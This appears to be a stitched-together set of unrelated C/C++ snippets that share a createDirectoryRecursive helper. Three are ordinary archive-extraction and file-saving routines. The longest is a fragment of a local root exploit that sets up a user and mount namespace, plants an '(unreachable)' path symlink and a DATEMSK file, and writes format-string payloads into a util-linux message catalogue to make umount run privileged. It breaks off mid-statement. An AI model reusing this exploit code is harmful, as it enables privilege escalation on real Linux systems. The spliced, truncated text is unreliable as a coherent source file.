bool BSA::extractAll(const std::string& outputDirName, uint32_t& extractedFileCount) { extractedFileCount = 0; if (!hasAllStructureData()) { std::cout << "BSA::extractAll: Error: not all structure data is present " << "to properly fulfill the requested operation!\n"; return false; } //check for output directory if (!directoryExists(outputDirName)) { if (!createDirectoryRecursive(outputDirName)) { std::cout << "BSA::extractAll: Error: Could not create destination directory \"" << outputDirName << "\".\n"; return false; } } uint32_t i, j; for (i=0; i<m_FolderBlocks.size(); ++i) { //create output directory, if necessary if (!directoryExists(outputDirName+MWTP::pathDelimiter+m_FolderBlocks[i].folderName)) { if (!createDirectoryRecursive(outputDirName+MWTP::pathDelimiter+m_FolderBlocks[i].folderName)) { std::cout << "BSA::extractAll: Error: Could not create destination subdirectory \"" << outputDirName+MWTP::pathDelimiter+m_FolderBlocks[i].folderName << "\".\n"; return false; } } //now extract each file in that directory for (j=0; j<m_FolderBlocks[i].files.size(); ++j) { if (!extractFile(i, j, outputDirName+MWTP::pathDelimiter+m_FolderBlocks[i].folderName +MWTP::pathDelimiter+m_FolderBlocks[i].files[j].fileName)) { std::cout << "BSA::extractAll: Error: Could not extract file \"" <<m_FolderBlocks[i].folderName+MWTP::pathDelimiter +m_FolderBlocks[i].files[j].fileName<< "\".\n"; return false; }//if ++extractedFileCount; }//for j }//for i return true; }
//source和target都是文件名 bool MpkManip::extractFile(const char* source,const char* targetFilename,bool replaceExist) { bool bOk = false; CPathA sourceFilename; sourceFilename = source; CPathA path; path = targetFilename; CPathA parent(path.getParentDir()); if (!parent.empty()) createDirectoryRecursive(parent.c_str()); if(isFile(targetFilename) && !replaceExist)return true; return SFileExtractFile(m_hMpk,source,targetFilename) != FALSE; }
bool MemoryStream::save(const char* newName) { if (m_buffer) { CPathA path; path = newName; CPathA parent(path.getParentDir()); if (!parent.empty()) createDirectoryRecursive(parent.c_str()); FileStream fs(newName); bool ret = (fs.open("wb") && fs.write(m_buffer, m_fileSize) && fs.close()); fs.close(); if (ret) return true; } return false; }
bool BSA::extractFolder(const uint32_t folderIndex, const std::string& outputDirName, uint32_t& extractedFileCount) { extractedFileCount = 0; if (!hasAllStructureData()) { std::cout << "BSA::extractFolder: Error: not all structure data is present " << "to properly fulfill the requested operation!\n"; return false; } if ((folderIndex==cIndexNotFound) or (folderIndex>=m_FolderBlocks.size())) { std::cout << "BSA::extractFolder: Error: invalid folder index!\n"; return false; } //check for output directory if (!directoryExists(outputDirName)) { if (!createDirectoryRecursive(outputDirName)) { std::cout << "BSA::extractFolder: Error: Could not create destination directory \"" << outputDirName << "\".\n"; return false; } } uint32_t file_index; //now extract each file in that directory for (file_index=0; file_index<m_FolderBlocks[folderIndex].files.size(); ++file_index) { if (!extractFile(folderIndex, file_index, outputDirName+MWTP::pathDelimiter +m_FolderBlocks[folderIndex].files[file_index].fileName)) { std::cout << "BSA::extractFolder: Error: Could not extract file \"" << m_FolderBlocks[folderIndex].folderName+MWTP::pathDelimiter +m_FolderBlocks[folderIndex].files[file_index].fileName<< "\".\n"; return false; }//if ++extractedFileCount; }//for file_index return true; }
/** Prepare a process living in an own mount namespace and setup * the mount structure appropriately. The process is created * in a way allowing cleanup at program end by just killing it, * thus removing the namespace. * @return the pid of that process or -1 on error. */ pid_t prepareNamespacedProcess() { if(namespacedProcessPid==-1) { fprintf(stderr, "No pid supplied via command line, trying to create a namespace\nCAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.\n"); char *stackData=(char*)malloc(1<<20); assert(stackData); namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20), CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL); if(namespacedProcessPid==-1) { fprintf(stderr, "USERNS clone failed: %d (%s)\n", errno, strerror(errno)); return(-1); } char idMapFileName[128]; char idMapData[128]; sprintf(idMapFileName, "/proc/%d/setgroups", namespacedProcessPid); int setGroupsFd=open(idMapFileName, O_WRONLY); assert(setGroupsFd>=0); int result=write(setGroupsFd, "deny", 4); assert(result>0); close(setGroupsFd); sprintf(idMapFileName, "/proc/%d/uid_map", namespacedProcessPid); int uidMapFd=open(idMapFileName, O_WRONLY); assert(uidMapFd>=0); sprintf(idMapData, "0 %d 1\n", getuid()); result=write(uidMapFd, idMapData, strlen(idMapData)); assert(result>0); close(uidMapFd); sprintf(idMapFileName, "/proc/%d/gid_map", namespacedProcessPid); int gidMapFd=open(idMapFileName, O_WRONLY); assert(gidMapFd>=0); sprintf(idMapData, "0 %d 1\n", getgid()); result=write(gidMapFd, idMapData, strlen(idMapData)); assert(result>0); close(gidMapFd); // After setting the maps for the child process, the child may // start setting up the mount point. Wait for that to complete. sleep(1); fprintf(stderr, "Namespaced filesystem created with pid %d\n", namespacedProcessPid); } osReleaseExploitData=osSpecificExploitDataList; if(osRelease) { // If an OS was detected, try to find it in list. Otherwise use // default. for(int tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) { if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) { osReleaseExploitData=osSpecificExploitDataList+tPos; break; } } } char pathBuffer[PATH_MAX]; int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd", namespacedProcessPid); assert(result<PATH_MAX); char *namespaceMountBaseDir=strdup(pathBuffer); assert(namespaceMountBaseDir); // Create directories needed for umount to proceed to final state // "not mounted". createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x"); result=snprintf(pathBuffer, sizeof(pathBuffer), "(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]); assert(result<PATH_MAX); createDirectoryRecursive(namespaceMountBaseDir, pathBuffer); result=snprintf(pathBuffer, sizeof(pathBuffer), "(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]); createDirectoryRecursive(namespaceMountBaseDir, pathBuffer); result=snprintf(pathBuffer, sizeof(pathBuffer), "(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]); createDirectoryRecursive(namespaceMountBaseDir, pathBuffer); // Create symlink to trigger underflows. result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down", namespaceMountBaseDir); assert(result<PATH_MAX); result=symlink(osReleaseExploitData[1], pathBuffer); assert(!result||(errno==EEXIST)); // getdate will leave that string in rdi to become the filename // to execute for the next round. char *selfPathName=realpath("/proc/self/exe", NULL); result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/DATEMSK", namespaceMountBaseDir); assert(result<PATH_MAX); int handle=open(pathBuffer, O_WRONLY|O_CREAT|O_TRUNC, 0755); assert(handle>0); result=snprintf(pathBuffer, sizeof(pathBuffer), "#!%s\nunused", selfPathName); assert(result<PATH_MAX); result=write(handle, pathBuffer, result); close(handle); free(selfPathName); // Write the initial message catalogue to trigger stack dumping // and to make the "umount" call privileged by toggling the "restricted" // flag in the context. result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo", namespaceMountBaseDir, osReleaseExploitData[2]); assert(result<PATH_MAX); char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8)); assert(stackDumpStr); char *stackDumpStrEnd=stackDumpStr; stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA", ((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]); for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) { memcpy(stackDumpStrEnd, "%016lx", 6); stackDumpStrEnd+=6; } // We wrote allready 8 bytes, write so many more to produce a // count of 'L' and write that to the stack. As all writes so // sum up to a count aligned by 8, and 'L'==0x4c, we will have // to write at least 4 bytes, which is longer than any "%hhx" // format string output. Hence do not care about the byte content // here. The target write address has a 16 byte alignment due // to varg structure. stackDumpStrEnd+=sprintf(stackDumpStrEnd, "%%1$%dhhx%%%d$hhn", ('L'-8-STACK_LONG_DUMP_BYTES*2)&0xff, STACK_LONG_DUMP_BYTES/16); *stackDumpStrEnd=0; result=writeMessageCatalogue(pathBuffer, (char*[]){ "%s: mountpoint not found", "%s: not mounted", "%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)" },